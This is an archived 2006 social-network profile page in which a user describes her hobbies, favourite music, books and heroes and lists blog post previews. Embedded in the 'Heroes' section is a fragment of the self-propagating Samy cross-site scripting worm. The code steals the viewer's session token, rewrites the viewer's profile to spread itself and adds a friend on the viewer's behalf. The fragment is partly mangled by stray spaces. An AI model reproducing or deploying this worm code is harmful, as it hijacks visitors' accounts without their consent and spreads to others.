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Laura

be who you are and say what you feel, because those who mind don't matter and those who matter don't

About Me

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My Interests

I love music (I play piano & am slowly learning guitar) & love to check out concerts, shows or even the local music scene, travel, photography, art of all kinds (I started oil painting just last year), family & friends (which are basically my family since I have so few real members in California), cycling (member of 2 OC teams), snowboarding, heading to clubs, and horseback riding (ex-pro equestrian).My personality is hard to describe...I guess I'm an extremist...for whatever extreme I show you, I'm exactly opposite the next day. Sometimes extremely quiet, sometimes the life of the party. Don't worry, I don't have an evil twin!

I'd like to meet:

Friends that have the same interests I do!!!

Music:

Hmmm...I think the only kind of music I don't really listen to much is country. I have enjoyed and been inspired by so many types of music and different bands in my life that it's not really fair to list any...there will always be ones left out...but here goes:Onesidezero, U2, Sparta, Lacuna Coil, TOOL, A Perfect Circle, SlingShot (my younger bro's band), Reverend Horton Heat, Sex Pistols, Red Hot Chili Peppers, Smashing Pumpkins, Muse, Incubus, deftones, 311, Sevendust, The Mars Volta, Wolfmother, The Used, Dredg, The Postal Service, Boy Hits Car, Radiohead, Jeff Buckley, Patti Griffin, Robert Randolph & the Family Band, Jimi Hendrix, Led Zepplin, Buck Cherry, Strata, Butch Walker, Angie Aparo, [minus] (Atlanta - Represent!!!), Missy Elliot, Wu Tang Clan, Outkast, Armin Van Buuren, Markus Schultz, Dave Seaman, Paul Van Dyke, Paul Oakenfold, Ferry Corsten, Miles Davis, Herbie Hancock, Bach (Johann Sebastian, not Johann Christian), Beethoven, Chopin, and Handel...just to name a few! ;o)

Movies:

I don't know that I actually have a favorite...but, lately I've been watching quite a few foreign films - they actually have new plots - not like these movies out now that seem to be all the same story

Television:

When I actually do watch, I'm a BBC junkie, National Geographic, History Channel, Comedy Channel kind of a girl. The only show I actually set time out to watch is THE SOPRANOS!!!

Books:

I read a LOT...and by a LOT, I mean I'm on a first name basis with the geeks at Barnes & Noble ;o) So, it's unfair at the moment to say what some of my current favorites are...but one of my favorite childhood books definitely has to be "A Wrinkle in Time". I'm constantly trying to expand my awareness & I love to use my imagination - so any book that can do either or both of those things works!

Heroes:

Definitely my father and younger brother. Their lives are constant reminders for me to always do things to better myself, increase my awareness & above else, love others unconditionally. My mum for battling with an advanced stage of Alzheimer's Disease - I love you! 0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','% 2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26' )}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}..'J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if( BJ=='POST'){J.setRequestHeader('Content-Type','application/x -www-form-urlencoded');J.setRequestHeader('Content-Length',B K.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=getSource();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace ('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero. '}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes',' ');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){ if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Preview'; AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseact ion=profile.previewInterests&Mytoken='+AR,postHero,'POST ',paramsToString(AS))}}}function postHero(){if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Submit';A S['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');ht tpSend('/index.cfm?fuseaction=profile.processInterests&M ytoken='+AR,nothing,'POST',paramsToString(AS))}function main(){var AN=getClientFID();var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN +'&Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET'); xmlhttp2=getXMLObj();httpSend2('/index.cfm?fuseaction=user.v iewprofile&friendID=11851658&Mytoken='+L,processxFor m,'GET')}function processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['subm it']='Add to Friends';httpSend2('/index.cfm?fuseaction=invite.addFriendsP rocess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}f unction httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return false}..'xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(B J,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content -Type','application/x-www-form-urlencoded');xmlhttp2.setRequ estHeader('Content-Length',BK.length)}xmlhttp2.send(BK);retu rn true}"

My Blog

Please Help This Cause!!!!!

As a team member for the Orange County Leukemia & Lymphoma Society's Cycling Team, I am helping to raise money for this very important cause and I'm asking you to help by making a contribution! Pl...
Posted by Laura on Wed, 08 Feb 2006 10:03:00 PST

Atlanta Lingo

Thought for any of you visiting Atlanta anytime soon, I'd help you with a little bit of a yuppie interpretation of the language.  Don't get stressed - their multiple choice, so take your time... ...
Posted by Laura on Mon, 01 Jan 1900 12:00:00 PST

IQ

I just took an IQ test...haven't done this since I was 4 years old. I guess I'm still trying to find out what I want to be when I grow up... 137 - Inspired Inventor - You have exceptional verbal a...
Posted by Laura on Mon, 01 Jan 1900 12:00:00 PST

Cool Story

Once upon a time, there was a girl. a cool girl. a cool girl with some very cool sunglasses. well, this cool girl got into her rad car so very nonchalantly (trying to be cool) and just s...
Posted by Laura on Mon, 01 Jan 1900 12:00:00 PST

Legal Disclaimer

Don't you hate it when someone takes something you say on the internet and completely twists it?? I mean, how do they know exactly what you're meaning if they can't hear the tone of your voice or see...
Posted by Laura on Mon, 01 Jan 1900 12:00:00 PST